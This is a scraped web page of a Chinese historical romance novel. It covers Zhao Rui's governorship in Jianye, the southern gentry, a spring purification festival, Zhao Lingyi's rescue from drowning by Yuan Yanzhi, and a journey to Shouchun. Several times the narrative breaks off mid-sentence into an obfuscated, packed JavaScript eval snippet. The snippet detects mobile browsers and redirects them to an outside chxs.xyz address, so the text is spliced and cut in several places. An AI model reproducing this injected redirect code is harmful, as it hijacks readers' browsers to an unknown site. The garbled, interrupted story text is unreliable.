太安二年,颖为讨伐长沙王乂,北人怨恨陆机一个南士率领二十万大军。陆机于平原河桥战败,将领乘机诬告其谋反,颖大怒,命人秘密逮捕。陆机临刑前叹曰:“欲闻华亭鹤唳,可复得呼?”两个儿子与两个弟弟亦被诛杀。 “愚弟对彦先兄之忧深以为然。”纪瞻道,“江东需要一个孙吴才能的执政者,琅琊王此前毫无威望,尚不知其目的。” 此前诸王皆是残暴乖戾,谁敢保证琅琊王不是一个掌权后跋扈之主,这也是出镇建邺两个月,江东无士族敢与其来往之故。 “暂且观之罢。”顾荣捋了捋白须。 要细究起来赵睿还是灭国仇人。 太康元年,吴帝孙皓抬棺木出城投降,并将皇帝玺绶交给赵伷,吴国就此灭亡。仇人之孙,焉能心甘情愿效忠。 正说时,亭外家奴来报:“郎主,夏侯太妃薨了,安东将军正准备北上奔丧。” “莫非要回封国?”顾荣转念一想,顾氏身为江东首望,琅琊王上任之久,尚未拜访一次,岂不是被视作唱反调。 琅琊王虽在诸王之中名望不高,手无兵权,但只要在太傅信中告江东士族有二臣之心,那也足够棘手的。 “快去备马。”顾荣眉头皱成个“川”字,对小厮吩咐道。 赵睿出镇建邺两个月以来并未对江东人有敌意,要是换了一人指不定和江东剑拔弩张。 4. 羁鸟恋旧林(四) 在几双眼睛凝视中,豚肉端上了食案,两个月的江东窘迫生活告诉赵睿,这就是佳肴。 司马诸葛导咽下快要溢出的津液,颤着手将脖子那块肉夹入赵碗中,“将军吃饭罢。” 肉质吸收八角、桂皮、香叶等香料的味道,甘味四溢。 赵绍瞅了眼,两根木箸夹出肥肉的油汁,诱人的酱红色便挂在木箸上。他轻咬下唇,舌尖好像已经尝到咸味,肉汁在口中爆开。很快,他低下头扒拉自己碗中的舂米饭。 群下面面相觑,亦不敢夹,项上那块肉成了赵睿一人的“禁脔”。 饭毕,几人送赵睿至渡口,挚友别离,涕泪涟涟。赵睿交代几人遇事不决只管请教诸葛导,若有事发突然导可先斩后报云云。 “接下来建邺诸事全仰赖茂宏。”赵睿躬身给诸葛导一揖,诸葛导连忙屈膝托他双肘,“得君信任,愿肝脑涂地报之。” 岸边青牛慢悠悠踏着蹄子,任马夫鞭子抽得噼啪响,依旧是女儿家的小步子。照这速度,船开了也到不了,顾荣果断下车,舍弃平日士族清贵作风,小跑到码头。 “将军留步——”顾荣吐着白气,他已不年轻,仅数百步,寒风吸入呛得肺疼。缓了缓,两手一拱,带着浓重的吴地口音:“荣请大王留步。荣闻太妃噩耗,国以孝治天下,大王回封国奔丧尽人子孝道,可今江东需要大王坐守,维护安宁。” “当然,”顾荣看出赵睿眼中犹凝,道出早先想好的两全之策:“礼法不可废,遵循前例,夺情即可。” 官员双亲去世,若抽身不得,朝廷允许官员穿素服继续办公,不用回家服丧,此谓“夺情”。 “这……”赵睿蹙额看向诸葛导,顾荣两只眼珠子在他二人脸上交替,“将军,此前张昌率领数千流民造反,今江北流民渐多,若无您坐镇,江东怕是又要掀起战乱。” 今日两个少年郎在街衢上看见顾荣车舆往渡口驶去,当即打赌赵睿的去留。 水榭里陈设两张小案,上摆着冷饭温酒,诸葛恬服用过五石散,随着激昂琴声用箸敲击案面,时而口中念念有词,时而高声吟哦。 风拂过,卷起水榭四面的幔帘,似层层波浪,带来寒意。 酒过三巡,诸葛恬已有醉意,摇晃着身体踱步行散,“安石,或许你和阿姊说的不错,顾彦先与陆士瑶不同。” “你让人去吴郡放出琅琊王归国消息,顾彦先当真装不下去,追到了建邺。有时我真看不透你,”他招了招手让婢女倒酒,“我从不见你服散,但家中有这玩意儿。” 袁延之箕踞而坐,以手支头双眼微阖,咂嘴回味口腔里残留的醇厚甘甜,“服食求神仙,多为药所误。不如饮美酒,被服纨与素。①”朗声一笑,执壶倒满朱漆耳杯,一饮而尽。 溅洒出的清澈液体滴在轻纱衣衽上,并未马上洇湿,他一掸,便有几颗晶莹水珠从袖子中弹出。 “是啊,唯有美酒不可负。”诸葛恬举杯,酒液在耳杯中摇曳,对座之人亦举杯应响。“你说你醉心女色,身边无一妾室通房,坦言志在丘壑,谈起政事却是头头是道。” 惺忪的眸子瞬刻清明,袁延之支起身,“我忧虑不等匈奴杀来,我辈自相残杀,届时安得享乐清闲之地?”心道:北方士人于八王之乱时南渡者众矣,他日必更多,须先与江左大族定议利益,否则仅为争田产山泽必致大动干戈。 “先前一个月余,安东将军府无一大族上门拜谒,我等连上桌谈判机会都没有。”诸葛恬自嘲道,倾身去拨弄酒池中的鸭头勺,撞得四处碰壁。 “江东士族虽未与之来往,暗地里必然观察,是否有统御能力。现在只需造势。”袁延之噙着浅笑,徐徐将被顽风吹进嘴里的发丝捻出,“我倒是有法子。” 一面言说,一面故作神秘向诸葛恬招手附耳。 “这行吗?”诸葛恬顶着两坨红晕,将信将疑,“一个藩王屈尊岂不遭江东人轻视?” 诸葛恬离去后,袁延之下令将五石散清走,履袜一脱,半躺榻上。 兰慧端来醒酒茶,见地上笏头履天南地北各一只,屈膝捡起绢袜为他穿上,眼中含着柔情,“仙哥真会折腾婢子。” 这个小名是他母亲唯一留给他的。 “我说过兰慧姊姊与旁人不同,不许在我面前自称‘婢’,再这样我就要恼了。”他一把拉过她素手,将十指细细看过,“兰慧姊姊这次蔻丹染得漂亮。” “好啦!”兰慧收回手,将醒酒茶塞在袁延之手里,笑道:“快喝罢,见我喋聒,就唤姊姊,从小照顾你到大,我还不知?” 袁延之三岁丧母,母亲生前有肺痨,父亲将母亲迁到偏僻的院子里,只有一个母家陪嫁的老妪照顾。他记忆里几乎没有母亲的痕迹,关于母亲的一切他都是从兰慧口中听来的。 父亲也很少过问他,整日只同一些名士清谈和行散,他的学识是兄长传授,兰慧似姊如母,将所有温柔关爱都给予了他。 “仙哥心里早有主意,怎不直接告诉诸葛司马?” 袁延之拉着兰慧坐在榻上,将自己头枕在她膝上,嬉笑道:“我才貌出众,安东将军怕是要征辟我入仕。” “哪有人夸自个儿的。”兰慧推搡了他一下,“这话说的好不委屈,多少人挤破脑还评不上个九品芝麻官,仙哥入琅琊王幕府还屈才不成?” 本朝选官为九品中正制,中正官根据家世、行状、定品来品评人物,起家官往往为“清官”,升迁也较快,受人尊重;乡品卑者做官的起点往往为“浊官”,升迁也慢,受人轻视。 他食指一圈一圈摩挲青盏盏沿,“邦有道则仕,邦无道则可卷而怀之。②我还不想入仕,太早入局死得快。” 从东汉以来天下纷争不休,朝代频繁更迭,八王之乱更是血腥残酷令人发指,史无前例。 袁延之目光落在如缥缈云雾笼罩远山的釉色,莫名想起那抹月白色身影。 月白裙外披了件粗麻布丧服,赵令仪人不在琅琊殡所,用不上哭奠,亦须齐衰一年,三餐不食,居白灰涂墙之屋。 重阳染风寒伊始十月底才好,从暖阁搬出又饿了三餐,形容憔悴弱不胜衣,佩玖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完伶俐一跳,佩玖来不及问话,对着墙啐了声,暗道:有其主必有其仆!什么锦囊妙计,有门不走。 赵绍捡起地上竹片,览毕笑问佩玖:“谁人送来?主意不错。”戏谑的目光追问赵令仪:“予安何时结交的这样一位友人?心思活络,是个人才。” 佩玖虚掩上了门,看了眼赵令仪,小声道:“是袁郎君。” 在脑中摸索了一把,赵绍隐约有个模糊印象,“上次门口那个?”爽朗大笑道,“就是门第差了些,不然给予安说亲,成为父亲半个儿子,为父亲出谋划策,一举两得。” 吃过暖粥,赵令仪脸上有了几分血色,经炭火一烤和兄长言语挑拨,耳根红扑扑的。“父亲只要打开江东望族的门,什么样的人才没有。” 她怎么就被他缠上了。 赵令仪绞着帕子,音量不自觉提高:“若他真是个人才,将来征辟他就是。”耐不住好奇,到底看了竹片上内容,“像他的做派——招摇过市,不过既要狐假虎威,父亲应请一人来。” 5. 时来苟冥会(一) 诸葛恬在诸葛导门外逡巡许久,屋内照射出黄晕的光在身上忽明忽暗。几次要敲门都作罢了,一听开门声音,一阵风似的躲藏廊下花丛里,从枝叶缝隙瞄到出来的是长兄,诸葛恬松了口气。 暗丛里传来窸窸窣窣,诸葛悦定睛一看里头藏着个人,正欲喊武丁,那人不慌不忙拂净身上落叶。 不是自家弟弟是谁? “阿螭,这么晚了你在阿耶门外鬼鬼祟祟做什么?”诸葛悦被诸葛恬捂住嘴,丈二和尚摸不着头脑,就这样一路被他拉回房。 “我有事想找阿耶,但……”诸葛恬顿了顿,极不愿意说出这个事实:“阿耶看了我便有怒色,见阿兄你就眉开眼笑,思来想去还是由阿兄去和阿耶说合适。” 诸葛恬是妾室雷氏所生,与诸葛悦非一母同胞,在洛阳时常受嫡母曹氏冷眼斥骂,诸葛悦总会挺身而出将他护在身后,自小以来兄弟感情甚笃。 诸葛恬将从袁延之听来的一学,诸葛悦虽觉得有些荒诞,仍和颜道:“我会转述给阿耶。”手落在弟弟肩上,眼神爱怜,“阿耶只是不喜欢你舞刀弄枪,并非厌恶你。” “那阿耶还是继续讨厌我好了,我这脾气改不了一点。”诸葛恬耸耸肩,缠着兄长下围棋。 诸葛悦舍不得责怪,拿这个弟弟真的是毫无办法。 一盏茶的时间,诸葛悦劣势渐显,只好求饶:“你这个第一让自家阿兄一回罢。” “对弈哪有分血亲的。”诸葛恬悻悻一笑,“我重阳那日败给了安东将军家的女公子,算不得第一。” 两人将棋盘上数目一比,果不其然诸葛恬多二十七子,夜色尚早,他又拉着诸葛悦讲述重阳对弈情境。 诸葛悦分析了白子应对策略,不住称好:“来日若有机会,我也想见见这位女公子。” *** 江南的冷与北方不同,是湿冷,浸到人骨子里去,许多北方来的士人闹膝盖疼,不免起莼鲈之思。 直至暮春时节,天气渐暖,出城踏青的人才多了起来。三月初三江东有休禊风俗,吴人身穿春服,到江边嬉戏祈福,以祓除不祥。 这日天朗地清,惠风习习,桃李竞争妩媚,杨柳忽然妖娆,群莺脆鸣,鱼虾戏水。 两个佃户抬着肩舆,上头坐着赵睿,气度不凡,北方名士们骑着高马亦步亦趋跟在身后,观禊队伍吸引了大量士民上前围观。 一个孩童目不转睛,头猛地被父母按了下去,“呢个是琅琊王,勿好直头看贵相。” 孩子挠挠头,不解道:“但是贵人掼派头,都有车帘子遮挡额呀。” “啧,侬搵搵脑子,咁笨额。嗰个大王平易近人,阿拉哪能老卵。” 赵睿不懂吴语,听起来额哇额哇的,扭头去问诸葛导:“他们在谈什么?” “在夸您平易近人。”诸葛导脸上颇有意料之内的得意。 围观人群中有两人窥视,见此盛大场景一脸惊异,交换了眼神。这二人正是顾荣、纪瞻。 与诸葛导并肩的是诸葛敦,身为一方封疆大吏,不怒自威。方唇抿成一条线,刀形似的眉毛紧压眼眶,目似寒星,扫射着顾、纪二人。 诸葛敦刺青州一个月不到便被太傅调回京,任中书监,明眼人都看得出来召回洛阳以便监管。临行前将妻子陪嫁侍女嫁给青州将士,又分发了财物给百姓,然后大摇大摆单车还洛。 带来的骑兵个个气势逼人,一有任何风吹草动,便拔箭出鞘斩杀殆尽,加之诸葛敦是武帝驸马,行事作风强势,顾荣不安,遂施礼下跪路边,以示敬意。 周围百姓见状陆续稽首于路旁。队伍走完,乌泱泱跪了一地。 诸葛恬与袁延之乘着牛车姗姗来迟,眼前一幕出乎意外:“真有你的,安石。” 袁延之下车负手而立,远远凝视诸葛敦,“江东士族并非真心臣服安东将军,能有此盛状全在你从父。没想到你将他请来,果然是威风八面,震慑四方。” 诸葛一族在当朝皆居显要之职,族长衍贵为三公司徒,亲弟澄都督荆州,族弟敦刺青州、旷任淮南太守。 “他有职务在身,我哪敢轻易开口。”诸葛恬道。 不远处桃花树下,佩玖摘了朵桃花别于自家女公子鬟上,赵令仪今日穿了件青色帛镶边的沧浪色深衣,佩玖觉得红配绿很是娇丽。 赵令仪踱步到水边照面,哎唷道:“太艳了。”唤佩玖取下。 一只蜜蜂寂然降落那朵桃花上,佩玖瞥见蜜蜂煽动翅膀嗡嗡响,手没伸出去就缩回来,赵令仪更是畏怯,站在原地不敢动弹。 袁延之望见主仆两人急得团团转,理理衣襟,折下一株海棠藏于袖内,踩着木屐前去。 赶在袁延之之前,一个纨袍玉带男子横空降临,向赵令仪一揖,声音清润:“唐突了。” 他轻轻抬手,虚拢住一只蜜蜂,并未伤害它。随后,他缓步走到树下,展开手掌,温柔地引导蜜蜂爬向花蕊。 他就单纯站在那处,落进少女慕艾目中。 袁延之登时泄气,把玩袖中海棠。含苞待放的花骨朵儿如点点胭脂,光泽娇嫩,惹人怜爱。他摇头失笑:“可惜可惜,鲜花不赠美人,留有何用呢?” “安石也有被女子伤心的一天。”诸葛恬戏谑道,目光投向赵令仪与兄长诸葛悦,与诸葛毓一同走来。 “眼前不就有一位美人么。”袁延之一抖广袖,海棠递至诸葛毓鼻尖。 诸葛毓看透他浪子做派,斜觑了眼,朱唇一撇:“我才不稀罕别人剩下的。”玳瑁簪在日光下色泽莹润,黄褐色的纹路像只金环蛇,从她发髻里爬出来。 瞥见诸葛悦摘了朵白杏递给赵令仪,赵令仪簪在头上,神情羞怯。她凤眸在袁延之曲领皂缘绯袍一乜,道:“西府海棠香艳,占尽春色尽风流,清雅如女公子嫌艳丽,与袁郎君春服却是极衬。” 袁延之不语,回以意味深长的笑容。 绿茵地上,几个孩童在踢着竹篾编织的球,一个总角大的孩子足尖灵活,从同伴脚下勾过球,改变轨迹,球倏然朝岸边飞去。 岸边那人折下一枝柳条,躬身拂过水面,祈祷否极泰来,洗净一年的晦气。 几个孩子虽不认识陆纳,也懂得通过服饰来判断贵贱,见他彩服玉冠得罪不起,秋风扫落叶四散逃开了。 只见石榴裙摆清扬,动作之快一道残影闪过,鞋尖坠珠颤动,红绸履稳稳截住飞旋的球,勾在春棉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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獠牙几乎要刺穿佩玖脚踝皮肤,赵令仪扔了块石头,试图分散西施犬注意力。这时,它顺着石子方向焦点转移到赵令仪身上,四肢铆足了劲一跃,有半人高。 赵令仪慌乱倒退几步,没站稳,脚一滑滚到田边小溪里。 “女郎落水啦!”佩玖不会洑水,火急地跺脚大喊。 后头追来的女婢担心小厮拿铁锹打死西施犬,急忙护在怀里。西施犬经过前面的刺激,一时辨认不出每日喂养它的女婢,在她虎口留下一排血痕牙印。 几个小厮和马夫都是旱鸭子,不敢轻易下水救人,小厮们分散去找人。车夫脱了几人的外衫,打成结,似绳索一般抛向赵令仪,自己拉住衣服一端,“女郎,快抓住!” 赵令仪因害怕紧闭双眼,只能凭借水面激起浪花来判别方向,经几次失手才握住。 车夫发力拉她上岸,但她仍需自己向前游动,本就体弱,挣扎太久早无多余力气。 春日溪水冰冷刺骨,无情地噬咬着赵令仪,她手蓦然松开,身子缓慢沉降。 6. 时来苟冥会(二) 车夫瞪大了眼,豁了出去,脱去靴子正欲入水中,绯色影子踏着水花已置于赵令仪身旁,捞起下沉的身体,抱上岸来。 见状车夫停下脱靴动作,与袁延之合力将赵令仪放在平整的田埂上。 “你们还愣着做什么?还不快把车推出泥坑!”袁延之发号施令,车夫和小厮们才幡然大悟,他下巴指了指佩玖,“你,去车上取来披风。” 佩玖忙不迭地照做。经狗追咬、风吹雨淋,她抖若筛糠,嘴边嗫嚅着“女郎”两个字。脑中空白,任由袁延之解开赵令仪衣襟。 袁延之双手交叠于赵令仪胸口,动作快速而有力,见无反应,他一手抬起她的头部,轻微后仰,一手捏住她的鼻子。 润湿的长睫颤动几下,他不敢再多犹豫,低下了头,口对口吹气。 诸葛毓的牛车驶来,殷红的指尖挑起车幔,凤眸微眯,眼前一幕尽收眼底,她略有惊诧地笑笑。 有意思。 瞥见地上跪着自家女婢,怀里西施犬脏乱不堪,诸葛毓嫌恶蹙眉,放下帘子,吩咐家奴帮赵令仪的牛车推一把,自己先行。 车夫将木棒插入车轮与泥坑之间,用力撬动,车厢后几人奋力推动,经过众人努力,车轮一点点地从泥坑中升起,最终完全脱离了泥潭。 双唇分离间隙,袁延之贴耳赵令仪胸部,感到有微弱的起伏,紧绷的神经得以一松,又连续按了几下,赵令仪头一扭将肺部污水呕了出来。 “咳咳咳……”她勉强睁开一条缝,眼睛像蒙上了一层纱,看不清头顶那人面容,却能明显感觉到那人灼灼的目光。 “女郎,你终于没事了。”佩玖抹了把脸,分不清是雨是泪,为赵令仪裹上披风。 对袁延之连连叩谢:“袁郎君,这次多亏有你,不然女郎性命堪忧。”她的小命也得交代这里了。 “回去后不可掉以轻心,请郎中查看肺腔内是否还有积水,好生照顾你家女公子。”袁延之敛去散漫的笑容,手一如往常任纵伸向心驰之地,“白杏花寡淡,并不适合女公子。” 歪斜的鬟髻上多了朵被水洇透的海棠,取代了因挣扎落入水中的白花,杰作既成,他展露淡淡笑意。 赵令仪嘴唇发白,手指僵硬地揪着衣角,无多余精力去计较袁延之怪诞行径,只怯怯瞥了他一眼,低声道:“多谢。” 其中一个找人求救的小厮领着赵绍赶来,展开裘衣一震,为赵令仪又裹上一层,赵绍忙碌中向袁延之道了谢,横抱胞妹上车,驱车远去。 赵令仪在车内身体回暖不少,后觉自己深衣被人解开,一时茫然,只听见心脏怦怦乱跳。 休禊一结束,赵睿就北上琅琊奔丧,府中事宜由王妃虞孟母打理。 赵令仪和赵绍正是长高时候,去岁的夏衫都短了一大截,如今结交名士出门走动,新衣更是少不了。 虽有封地纳贡,可才来江东,事事都要花钱,府中财政收支也是紧张的。虞孟母将账本往里一推,揉了揉酸胀的太阳穴。 荀氏这会儿派人来问能否多拨两个针线侍女,说是人手不够,丧事完毕后二郎赵裒会回来建邺,也需要赶制衣服。 荀氏入王府几年,三年连续生育,生下二子一女。虞孟母多年来无所出,本就郁结于心,嫉恨荀氏,这几日月事不调,窝火心烦得很,荀氏这风口来要人,积愤喷薄爆发:“就她会生!大王一走,就在我面前耀武扬威!” “她不是心灵手巧,疼爱儿子么,自己裁衣服去。”堂外佩玖听见虞孟母怒斥,压低了头,随后管家出来回话:“府中的针线侍女都是有定额的,非常时期,并非王妃刻意亏待,让荀娘子多多担待些。” 此话一出,佩玖见要人再无可能,福了福身,闷闷回到院子。 荀氏见了佩玖丧气的脸,不用问也知佩玖被打发回来了,站在院子忍不住信口谩骂:“我就知道,大王不在,表面的功夫也不做了,这样苛待我们母子几个。” “母亲,”赵令仪强撑着身体下床,去拉荀氏,“父亲一向希望家宅宁静和睦,你这样人前人后说坏话传到父亲耳里,于我们何益?” 荀氏发泄完心中怒气,一看自己命苦的女儿羸惫模样,收住了嘴,撇过脸,泪珠在眼眶打转。 “我实在气不过,从前在琅琊时就没给我好脸色,我忍了多少年。” 回到屋内,赵令仪和言规劝:“阿兄阿裒在外一言一行都代表着安东府,王妃她出身大族,不会不明白。阿兄可以先赶制,女儿等等也是可以的。” 自落水后她几日不曾出门,在家中静养,穿旧衣裳对她来说无妨。 荀氏长吁一声,拭了拭眼角,穿针引线去了。 赵令仪怪自己染病拖了后腿,佩玖听了来气,眼瞪得圆大,忿忿不平:“要不是那只疯狗,女郎又怎么会落水生病。” 视线落在诸葛毓送来的匣子上,初次打开时候着实大吃一惊,一条黑白相间的狗尾巴,被制作成吊坠样式。 西施犬闯了祸,诸葛毓该为之负责,除了赔礼送些人参补品,还要处置罪魁祸首,贴身侍女见养了多年,渡江都不忘带上,于心不忍,问:“当真要杀了?” 见诸葛毓笑盈盈地为狗顺毛,以为不过说着玩笑,女婢欲展颜,那一道幽冷眼神飞了过来:“给主人惹麻烦的狗,留着何用?” 一句话轻飘飘落下,诸葛毓将狗丢给婢女。万幸这次赵令仪落水有人救,命保住了,否则他父亲诸葛导与琅琊王难免因此心生嫌隙。 赵令仪闭上眼睛,头朝内侧,“诸葛女郎这样做,想大事化小小事化了,我们也没话说。” “狗虽可恶,可这样实在太残忍了。”佩玖甩甩头,将脑海可怕的画面赶走,继续在碧落色绫上划线打板。 这颜色与诸葛悦休禊那日穿的颜色相近,佩玖瞟看赵令仪没睡着,歪着头道:“诸葛家兄弟姊妹性格真是各不相同,诸葛大郎就像这布匹颜色,温和如玉。” 想到诸葛毓,佩玖顿了顿,也不知道比成什么好:“诸葛女郎穿的石榴色,艳红似血。”绕来绕去尽是不吉利的话,打了自己的笨嘴:“呸呸呸,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923925|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明丽动人。” “我听人说,诸葛大郎为人孝顺,待人和蔼,是个君子。”赵令仪从被窝中探出脑袋,微微一笑,像玉瓶里一朵栀子花。 回想那日,他立于白杏树下,侧首对自己莞尔笑道:“莫怕,这蜜蜂不蜇人。”树荫底下,光影斑斓落在蜀锦纨袍上,透出月光般柔和。 他从曦光里向她走来,捧上一朵白杏,“女公子不喜艳丽桃花,白杏淡雅,或许能入女公子的眼。” 东风吹拂,飘落的花瓣似怀春少女,吻他眉梢,得逞后雀跃回旋打转,炫耀地点了下她一瞬不眨眼睛,飘落江里,搅乱一池春水。 最后那朵白杏零落溪水,赵令仪有些惋惜,垂下了睫羽,忽闻外头砸门响声,疑惑道:“谁家孩子撒野。” 佩玖心疼门上被磕出几个划痕,抓着金剪刀随时干仗气势,地上零散着几个石子上面绑了字条,再看墙上闻新握着弹弓,对她吐了吐舌头。 若是从前,她一定将手里剪刀飞了出去,经赵令仪落水后,对袁延之大为改观。 展开字条,上面草书写就,纵任自在,若螭盘虎踞之势。佩玖拿给赵令仪过目,赵令仪长眉颦蹙:“街上人来人往的,他这样做……” 佩玖不识字,也不知上面写了什么,只从赵令仪神情判断没有恶意。 彼时那么多小厮,大家都是北人,是旱鸭子,爱惜自己性命不敢轻易下水,袁延之路过见义勇为,可见心是不坏的。 “女郎,”佩玖揣测字条上多半是询问病情,“奴昨日上街恰好碰到诸葛府的管事娘子,闲聊了几句,听说那天被狗咬的侍女回去高烧不断,后来狂躁痉挛,渴极而不敢饮水,更听不得和水相关的字眼,隔日人就去了。” “可那日……”赵令仪听出言外之意,揪紧了衣领。她不喜袁延之轻浮,可这年头名士不都放荡不羁么,光天化日之下赤裸如刘伶,两相对比,他倒显得规矩。 何况他救自己一命。 赵令仪披上外袍,吩咐佩玖去找纸鸢,备好笔墨。狼毫舔饱笔墨,她提笔挥动,须臾,两个隶书大字跃然上面。佩玖恐不慎擦糊字迹,小心翼翼接过,拿了线轴到院里一点一点放高。 墙外,闻新正欲拉满弹弓,一只彩凤纸鸢从眼前晃过,一手遮额,逆光仰视,激动连唤郎君:“快看,风筝上有字。” 袁延之顺着闻新的视线抬头望去,“安好”二字在空中舞动。常言字如其人,果然,清丽娟秀如她。 不一会,那风筝缓缓落回墙内,闻新暗恼未在风筝伸出墙外时用弹弓给打下,却听得袁延之愉悦笑声:“行了,回去罢。” “哦。”闻新拍拍身上尘土,有些不解:费了半天功夫就为这两字? 找了他二人许久的老仆实没想到袁延之爬人墙头,一时无语,与闻新白眼对青眼半晌,才道:“二郎,郎主给你的书信。” “新鲜,阿耶还记得给我写信。”袁延之拆开外封丢给闻新,黑瞳在纸面上下流转,不由分说夺过闻新手中信封套好复原:“我要去寿春一趟。” 7. 时来苟冥会(三) 马蹄子在泥泞的道路上疾驰,踏过水坑,溅起一串串水花。马的鬃毛被雨水打湿,一绺一绺地贴在头顶。 “驾——” 斗笠之下,一双微挑的眸子氤氲着水汽,在泠雨冲刷下倒有几分冷冽。袁延之不时挥着马鞭,驱使马匹再跑快些,蓑衣在风中翻飞作响。 杏花时节里,蒙蒙细雨将春愁染得愈发浓厚。 今岁一月,匈奴首领刘渊正式称帝,国号为汉,建都平阳,三月往东进攻上党,后进攻山西壶关,对中原威胁迫在眉睫。 收到父亲飞书,袁延之从建邺驰往寿春,抵达时已是清明。 春风吹动野外纸钱乱舞,陈旧的坟墓重重叠叠,青草郁郁葱葱。 伴着潇潇雨声,淮南太守诸葛旷在昏晖傍晚见到了袁延之。 为防止染上风寒,袁延之到官署后先由仆人伺候梳洗妥当,用过食餐再面议。 听事内,袁延之长身玉立于案前。 说来奇怪,诸葛旷正值壮年,在袁延之面前却觉得自己年老,不由欢颜夸赞道:“世侄到来,真是蓬荜生辉。” “世伯过誉,”袁延之客套一句,眼一扫几上卷轴,道明此番来由:“太傅已给世伯下令,北上山西以解壶关燃眉之急,中原沦陷已是不可避免,援救壶关意义何在?” 匈奴想将山西和河北连成一线,以压倒之势南攻洛阳,入主中原,朝廷必然要殊死一战。 诸葛旷背过身,举着蜡烛去看墙上的舆图。烛火摇曳,他的影子飘飘忽忽的,似要往火上扑去。指尖从寿春起始,相继拂过扬州、豫州、并州,在壶关停下。闭上眼,长长一叹,寿春距壶关近乎七百里啊! “世侄,人皆有私心,吾何尝没有?吾妻儿一家皆在建邺,身边只一个长子羲之,不过七岁。”诸葛旷回过身,用衣袖擦拭眼角湿濡。 听出话中有南下的念头,袁延之眼中闪着亮光,随顺道:“若世伯南逃建邺,与安东将军联手,茂弘世伯亦在,还能凭江自卫。” 茂弘是诸葛旷从弟诸葛导的表字。他先前就恐中原不保,才提议赵睿、诸葛导借机南渡,如今赵睿出镇建邺一年有半,在江东初步站稳脚跟。 听到微小的鼾声,诸葛旷目光落在西席的男童身上。那孩子玉雪可爱,头上用红绸扎着两角髻,上着库金色圆领衣,肩挂一件朱柿色背带裙。 练字乏累了就趴在矮机上睡觉,脸上印着墨迹,鼻涕泡随呼吸一下大,一下小。 仆人抱起他,诸葛旷上前接到自己怀中,用自己衣袖拭去孩子鼻间污秽,慈祥和蔼的目光对上袁延之,“可如此,太傅还能从何处调兵?届时便是山河破碎,中州颠覆,只要有一线生机,吾岂能冷眼相看。” 河南、河北虽有三支兵力抵御匈奴,赵越不敢轻易调用。一支驻扎在黄河北岸的大阳县,从北面保护洛阳,匈奴南下进攻洛阳主要渡河点之一就是此处。 另外两支东燕城、河白马县位于黄河以南,亦是匈奴河北南下的主要渡口。一旦抽调黄河以南任何一支兵力,河北防线都会撕开一个口子,洛阳岌岌可危。 言已到此,袁延之也知无法再撼动诸葛旷半分。 翌日,诸葛旷带兵出了寿春城,远眺南方,迎面吹来湿冷的晨风使他精神抖擞。 “延之世侄,跟我说说江南水乡是什么景象罢。”诸葛笑道,眼底满是希冀,眼尾褶出几条皱纹。 “烟雨迷蒙,绿草如茵,柳絮漫飞。这个时节,若坐在画船里有雨声伴人入眠,两岸酒香飘逸,酒家女露出皓腕招你买酒,一口吴语甜润,教人听了心都化了。” 几句勾勒,耳里好的将士向他投以艳羡眼光,暗下咬耳朵,嗟叹好一个风流快活士族子弟的生活。 袁延之将腰间香囊取下,里头是鹅黄蜡梅,“小侄此行身上只带了蜡梅香囊,若世伯不嫌弃,便收下这江南一点春罢。” “世侄有心了,”诸葛旷打开一瞅,缕缕暗香钻入鼻间,闭上眼睛,通过袁延之描述,脑中渐渐浮现烟波浩渺的长江,“原来这就是江南。” 说着握紧缰绳掉转马头,夹紧马腹驰到军队前头,“世侄,吾儿羲之劳你送往建邺。” 旌旗猎猎,马鸣嘶嘶,大军踏上北行之路。 袁延之翻身下马,朝着决绝的背影深深一揖,随后策马与羲之汇合启程回建邺。 行至颍水渡口时,袁延之叫羲之吃些东西,羲之黑白分明的两只大眼睛直盯着袁延之脸瞧,看得入神了,几次吃饼咬到手。 羲之一手抓饼,一手托腮,笑起来脸两边有时隐时现的酒窝,“哥哥你长得好俊美呀,比阿耶每个部将都好看。” 袁延之看着他脚边一地的碎屑,催促快些吃完,“你知道你阿耶去打匈奴吗?” 羲之点点头,头上两髻随着他动作摇晃轻甩,双手拍净掌心油渍,两个细小胳膊交叠将自己抱在怀里,“昨晚阿耶抱着我睡时和我说,他要离开很长一段时间,叫我要听阿娘的话,保护阿弟。今早阿耶都没有叫醒我,可能就是怕舍不得我。” 长长睫羽在眼下投射一片剪影,袁延之一把将小人抱在怀里,“自元年以来,我阿耶被频繁调遣,前不久又调往……” 建邺。 诸葛旷北上,太傅不得不将诸葛敦调往扬州,任扬州刺史,以便牵制扬州都督周馥。 “哥哥的阿耶也调往战场吗?”或出于安慰或出于同病相怜,羲之搂住袁延之脖颈,往他身上蹭了蹭,“我阿耶跟白起一样厉害,一定会把匈奴人打得屁滚尿流。” 袁延之忽地一笑。见船要启航,将虎头帽给他系上,抱紧怀中小人登船。 *** 赵睿将母亲下葬妥当后,携次子赵裒回建邺。 这日,赵睿与诸葛导驾车前往吴郡,拜访顾荣。 观去岁冬月顾荣愿恳切挽留,诸葛导看到机会,正愁如何打消顾荣疑虑,经长子诸葛悦献策,向赵睿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 